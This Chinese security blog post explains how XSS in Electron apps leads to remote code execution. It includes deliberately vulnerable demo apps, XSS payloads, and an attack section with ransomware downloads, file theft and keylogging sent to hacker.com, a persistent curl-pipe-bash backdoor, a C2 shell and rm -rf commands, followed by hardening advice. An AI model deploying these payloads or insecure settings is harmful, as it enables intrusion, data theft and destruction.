Electron XSS
原文链接: https://mp.weixin.qq.com/s?__biz=Mzg5NjUxOTM3Mg==&mid=2247489787&idx=1&sn=c02f784dd91af29ccb3bf8f4701919b8
Electron XSS
原创 一个努力的学渣 一个努力的学渣 2025-07-18 15:59
免责声明
本文只做学术研究使用,不可对真实未授权网站使用,如若非法他用,与平台和本文作者无关,需自行负责!
什么是
Electron
Electron 是一个使用Web 技术(HTML、CSS、JavaScript)构建跨平台桌面应用
的开源框架。它由 GitHub 开发并维护,结合了 Chromium(Web 渲染引擎)和 Node.js(服务器端 JavaScript 运行时),使开发者能用前端技术栈创建 Windows、macOS 和 Linux 原生应用
图标:
Electron存在XSS漏洞的几率很低,除非修改默认代码/不使用默认的代码,一般只要研发不瞎搞,Electron基本不会存在XSS漏洞
Electron 框架中的 XSS(跨站脚本攻击)因其结合了 Chromium 渲染引擎和 Node.js 运行时环境,可能导致远超传统 Web 应用的危害,包括本地文件读写、系统命令执行(RCE)等高危操作
Electron 架构与 XSS 风险根源
Electron 应用包含主进程(Node.js 环境)和渲染进程(Chromium + Node.js 混合环境)。其核心风险在于:
– 渲染进程的 Node.js 访问权限
– 若开启 nodeIntegration: true,渲染进程可直接调用 Node.js API(如 require(‘child_process’))
– 核心问题:Electron 渲染进程默认融合了浏览器环境与 Node.js 能力,导致 XSS 可直接触发系统级操作(文件删除、恶意软件安装、数据窃取)
<!-- 通过 XSS 注入恶意脚本 -->
<img src=x onerror="require('child_process').exec('calc.exe')">
// 一次成功的 XSS 攻击可导致:
require('child_process').exec('rm -rf /') // 删除系统文件
require('electron').shell.openExternal('http://钓鱼网站') // 诱导用户输入
fs.readFile('/etc/passwd', (err, data) => { exfiltrate(data) }) // 窃取敏感文件
- 上下文隔离失效(contextIsolation: false):未隔离时,渲染进程中的恶意脚本可访问预加载脚本(preload.js)暴露的 Node.js 接口,间接执行系统命令
- 沙箱禁用(sandbox: false):沙箱默认在 Electron 20+ 开启,但若同时启用 nodeIntegration 则沙箱自动关闭,导致系统权限暴露
前置环境准备
需要先安装nodejs:
https://nodejs.org/zh-cn/download
搭建
mkdir C:\Users\Z\vite-project\electron
xss
example
cd C:\Users\Z\vite-project\electron
xss
example
npm init
y
安装修改:
set http_proxy=http://127.0.0.1:9999
set https_proxy=http://127.0.0.1:9999
npm config set proxy
http://127.0.0.1:9999
npm config set https-proxy
http://127.0.0.1:9999
npm install electron
save
dev
清除缓存:npm cache clean –force
设置淘宝镜像:npm config set registry
https://registry.npmmirror.com
使用 cnpm 代替 npm:
npm install -g cnpm –registry=
https://registry.npmmirror.com
cnpm install electron –save-dev
演示环境一
main
.
js 和 index
.
html 文件复制到项目根目录下
// main.js
const { app, BrowserWindow } = require('electron');
const path = require('path');
function createWindow() {
const win = new BrowserWindow({
width: 800,
height: 600,
webPreferences: {
nodeIntegration: true,
contextIsolation: false
}
});
win.loadFile('index.html');
}
app.whenReady().then(() => {
createWindow();
app.on('activate', function () {
if (BrowserWindow.getAllWindows().length === 0) createWindow();
});
});
app.on('window-all-closed', function () {
if (process.platform !== 'darwin') app.quit();
});
<!-- index.html -->
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Electron XSS Example</title>
</head>
<body>
<input type="text" id="userInput" placeholder="输入内容">
<button onclick="displayInput()">显示输入</button>
<div id="displayArea"></div>
<script>
function displayInput() {
const input = document.getElementById('userInput').value;
const displayArea = document.getElementById('displayArea');
//displayArea.textContent=input;
displayArea.innerHTML = input;
}
</script>
</body>
</html>
配置
package
.
json
{
"name": "electron-xss-example",
"version": "1.0.0",
"description": "",
"main": "main.js",
"scripts": {
"start": "electron ."
},
"keywords": [],
"author": "",
"license": "ISC",
"devDependencies": {
"electron": "^23.2.1"
}
}
启动:cnpm run start
测试:
<
img src
=
“x”
onerror
=
“alert(‘XSS’)”
/>
修复:使用 textContent 代替 innerHTML 来显示文本
演示环境二
//main.js
const { app, BrowserWindow, ipcMain } = require('electron');
const path = require('path');
function createWindow() {
// 危险配置:启用Node集成且禁用上下文隔离
const mainWindow = new BrowserWindow({
width: 800,
height: 600,
webPreferences: {
nodeIntegration: true, // 高危:允许Node.js访问
contextIsolation: false, // 高危:禁用上下文隔离
sandbox: false // 高危:禁用沙箱
}
});
// 加载应用界面
mainWindow.loadFile('index.html');
// 危险IPC处理
ipcMain.on('execute-command', (event, command) => {
require('child_process').exec(command); // 直接执行系统命令
});
}
app.whenReady().then(createWindow);
//index.html
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Electron XSS漏洞演示</title>
<style>
* { box-sizing: border-box; font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; }
body { margin: 0; padding: 20px; background: #1a1a2e; color: #e6e6e6; }
.container { max-width: 800px; margin: 0 auto; }
.card { background: #16213e; border-radius: 10px; padding: 20px; margin-bottom: 20px; box-shadow: 0 4px 6px rgba(0,0,0,0.1); }
h1 { color: #4cc9f0; text-align: center; margin-bottom: 30px; }
textarea, input { width: 100%; padding: 12px; margin: 10px 0; border: none; border-radius: 5px; background: #0f3460; color: white; }
button { background: #4cc9f0; color: #1a1a2e; border: none; padding: 12px 20px; border-radius: 5px; cursor: pointer; font-weight: bold; transition: 0.3s; }
button:hover { background: #2fb1e0; transform: translateY(-2px); }
#preview { min-height: 150px; background: #0f3460; padding: 15px; border-radius: 5px; margin-top: 15px; }
.section-title { color: #4cc9f0; border-bottom: 2px solid #4cc9f0; padding-bottom: 10px; margin-top: 25px; }
.warning { background: #f05454; padding: 15px; border-radius: 5px; margin: 20px 0; font-weight: bold; }
</style>
</head>
<body>
<div class="container">
<h1>Electron XSS漏洞演示</h1>
<div class="warning">
警告:此应用包含已知安全漏洞,仅用于演示目的!
</div>
<div class="card">
<h2 class="section-title">用户评论系统</h2>
<textarea id="comment" placeholder="输入您的评论..." rows="4"></textarea>
<button onclick="postComment()">提交评论</button>
<div id="preview">
<h3>评论预览:</h3>
<div id="comment-preview"></div>
</div>
</div>
<div class="card">
<h2 class="section-title">系统命令执行</h2>
<input type="text" id="command" placeholder="输入系统命令">
<button onclick="executeCommand()">执行命令</button>
<div id="command-result"></div>
</div>
</div>
<script>
// 危险:直接渲染用户输入
function postComment() {
const comment = document.getElementById('comment').value;
document.getElementById('comment-preview').innerHTML = comment;
}
// 危险:直接执行系统命令
function executeCommand() {
const command = document.getElementById('command').value;
const { ipcRenderer } = require('electron');
ipcRenderer.send('execute-command', command);
document.getElementById('command-result').innerText = `已执行命令: ${command}`;
}
// 模拟用户评论加载(实际应用中可能从数据库加载)
window.onload = () => {
// 模拟来自数据库的评论(可能包含恶意内容)
const maliciousComment = `<img src="x" onerror="alert('来自数据库的XSS攻击!')">`;
document.getElementById('comment-preview').innerHTML = maliciousComment;
};
</script>
</body>
</html>
//package.json
{
"name": "electron-xss-demo",
"version": "1.0.0",
"main": "main.js",
"scripts": {
"start": "electron ."
},
"dependencies": {
"electron": "^25.0.0"
}
}
启动:
cnpm rum start
攻击场景一:基本XSS攻击
在用户评论框中输入恶意代码:<img src="x" onerror="alert('XSS攻击成功!')">
点击"评论提交",触发弹窗
攻击场景二:远程代码执行(RCE)
在命令执行框中输入恶意命令:
# Windows
calc.exe && echo "系统被入侵" > C:\hacked.txt
# macOS/Linux
open -a Calculator && echo "系统被入侵" > ~/hacked.txt
点击"执行命令",系统将启动计算器并创建被入侵标记文件
攻击场景三:组合攻击(通过评论触发 RCE)
构造恶意评论执行系统命令:
<img src=x onerror="require('child_process').exec('calc.exe')">
漏洞原理分析:
1.危险配置
webPreferences: {
nodeIntegration: true, // 允许渲染进程直接访问Node.js
contextIsolation: false, // 禁用上下文隔离
sandbox: false // 禁用沙箱
}
这些配置使得渲染进程可以完全访问Node.js环境
2.不安全的HTML渲染
document.getElementById('comment-preview').innerHTML = comment;
直接使用innerHTML插入未过滤的用户输入,导致XSS漏洞
3.不安全的IPC通信
ipcMain.on('execute-command', (event, command) => {
require('child_process').exec(command);
});
主进程直接执行渲染进程发送的命令,没有任何验证
高危漏洞场景
致命配置错误(90% 漏洞根源)
// 灾难性配置 - 禁用所有安全机制
new BrowserWindow({
webPreferences: {
nodeIntegration: true, // 允许直接访问 Node.js
contextIsolation: false, // 禁用上下文隔离
sandbox: false, // 禁用沙箱
webSecurity: false // 禁用同源策略
}
})
//攻击效果:
<script>
// 删除用户所有文档
require('fs').rmdirSync(require('os').homedir(), { recursive: true });
// 安装勒索软件
require('child_process').exec('curl http://hacker.com/ransomware | bash');
</script>
配置项 |
危险值 |
安全值 |
风险后果 |
nodeIntegration |
true |
false |
渲染进程直接访问 |
contextIsolation |
false |
true |
恶意脚本污染预加载接口 |
sandbox |
false |
true |
禁用 Chromium 沙箱保护 |
webSecurity |
false |
true |
允许加载不安全内容(如 file://*) |
直接 Node 命令执行(nodeIntegration: true)
<!-- 注入点:用户输入渲染处 -->
<div>{{userContent}}</div>
攻击者输入:<img src=x onerror="require('child_process').exec('calc.exe')">
通过预加载脚本绕过隔离(contextIsolation: false)
假设预加载脚本暴露接口:
// preload.js
window.api = {
readFile: (path) => fs.readFileSync(path)
}
攻击者利用 XSS 执行:
// 窃取系统文件
const data = window.api.readFile('/etc/passwd');
fetch('http://hacker.com/steal', { method: 'POST', body: data })
DOM 型 XSS + file:// 协议利用
// 漏洞代码:基于 URL 参数动态创建元素
const html = `<a href="${location.hash.slice(1)}">点击</a>`;
document.body.innerHTML = html;
攻击者构造链接:file://app/index.html#javascript:require('child_process').exec('rm -rf ~/Documents')
结果:用户点击后删除整个文档目录
IPC 通信漏洞链
// 主进程 (危险IPC处理)
ipcMain.on('exec-command', (event, cmd) => {
require('child_process').exec(cmd); // 直接执行系统命令
});
// 渲染进程 (通过XSS触发)
document.write(`<img src=x onerror="
window.api.send('exec-command', 'rm -rf ~/Documents')
">`);
协议处理器路径遍历
// 自定义协议漏洞
protocol.registerFileProtocol('app', (request, callback) => {
callback({ path: request.url.substring(7) }); // 未过滤路径
});
攻击效果:<iframe src="app:///../../etc/passwd"></iframe>
Webview 沙箱逃逸
<!-- 危险 Webview 配置 -->
<webview
src="https://external.com"
nodeintegration
allowpopups
webpreferences="contextIsolation=no"
></webview>
攻击路径:外部页面 → 通过 require(‘child_process’) 执行系统命令
Electron 专属攻击技术手册
Node.js 模块武器化
// 文件窃取
const data = require('fs').readFileSync('/.ssh/id_rsa');
new Image().src = `http://hacker.com/steal?data=${btoa(data)}`;
// 持久化后门
require('fs').writeFileSync(
`${require('os').homedir()}/.config/systemd/user/backdoor.service`,
`[Service]\nExecStart=/bin/bash -c "while true; do curl http://hacker.com/shell | bash; done"`
);
// 键盘记录器
require('iohook').on('keydown', e => {
fetch('http://hacker.com/log', { method: 'POST', body: e.key });
});
组合攻击链
// 阶段1:通过XSS获取Node访问权
<img src=x onerror="
const { net } = require('electron');
// 阶段2:建立加密C2通道
const socket = net.connect(443, 'c2.hacker.com', () => {
socket.write(Buffer.from('CONNECTED|' + navigator.userAgent).toString('base64'));
});
// 阶段3:接收并执行指令
socket.on('data', data => {
const cmd = Buffer.from(data, 'base64').toString();
require('child_process').exec(cmd, (e, out) => {
socket.write(Buffer.from(out).toString('base64'));
});
});
">
Electron XSS全面防御
安全配置黄金法则
new BrowserWindow({
webPreferences: {
nodeIntegration: false, // 必须禁用
contextIsolation: true, // 必须启用 (Electron 12+ 默认)
sandbox: true, // 启用沙箱 (Electron 20+ 默认)
preload: path.join(__dirname, 'preload.js'), // 唯一安全通道
webSecurity: true, // 启用同源策略
enableRemoteModule: false // 禁用远程模块
}
})
安全的预加载脚本架构
// preload.js - 安全IPC桥梁
const { contextBridge, ipcRenderer } = require('electron');
contextBridge.exposeInMainWorld('safeAPI', {
readFile: (path) => ipcRenderer.invoke('read-file', path),
writeFile: (path, data) => ipcRenderer.invoke('write-file', path, data)
});
// main.js - 主进程验证器
ipcMain.handle('read-file', async (event, path) => {
// 1. 发送方验证
if (event.senderFrame !== mainWindow.webContents.mainFrame) return;
// 2. 路径白名单校验
const allowedPaths = [
app.getPath('userData'),
app.getPath('documents') + '/allowed_dir'
];
if (!allowedPaths.some(p => path.startsWith(p))) {
throw new Error('非法文件路径');
}
// 3. 返回内容
return fs.promises.readFile(path);
});
终极内容安全策略 (CSP)
<meta http-equiv="Content-Security-Policy" content="
default-src 'none';
script-src 'self' 'nonce-random123';
style-src 'self' 'unsafe-inline';
img-src 'self' data:;
font-src 'self';
connect-src 'self' https://api.example.com;
object-src 'none';
base-uri 'none';
form-action 'none';
frame-ancestors 'none';
require-trusted-types-for 'script';
trusted-types dompurify;
">
动态内容安全处理
// 使用DOMPurify的强化配置
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
const sanitizeConfig = {
ALLOWED_TAGS: ['p', 'h1', 'h2', 'ul', 'li', 'a'],
ALLOWED_ATTR: ['href', 'class', 'target'],
FORBID_ATTR: ['style', 'on*'],
ALLOW_DATA_ATTR: false,
ALLOWED_URI_REGEXP: /^(https?|mailto|tel):/i,
RETURN_TRUSTED_TYPE: true,
ADD_ATTR: ['rel'] // 强制添加 rel='noopener'
};
DOMPurify.addHook('afterSanitizeAttributes', node => {
if (node.tagName === 'A') {
node.setAttribute('rel', 'noopener noreferrer');
}
});
const clean = DOMPurify.sanitize(untrustedHTML, sanitizeConfig);
漏洞挖掘
漏洞类型 |
特征 |
测试Payload |
直接Node执行 |
nodeIntegration: true |
<img src=x onerror="require('child_process').exec('calc.exe')"> |
IPC命令注入 |
IPC调用 |
exec/system ipcRenderer.send('exec','touch /tmp/pwned') |
协议路径遍历 |
未过滤的自定义协议 |
<iframe src="app://../../etc/passwd"> |
Webview逃逸 |
Webview启用Node |
<webview>.executeJavaScript("require('fs').readFileSync('/etc/passwd')") |
预加载脚本漏洞 |
暴露危险API |
window.api.runCommand('rm -rf /') |
总结
-
关闭 nodeIntegration、启用 contextIsolation、严格 CSP 与输入过滤,是底线中的底线!
-
最后防线:即使所有防护失效,通过系统级沙箱(如 App Sandbox on macOS)限制 Electron 应用权限,防止系统级灾难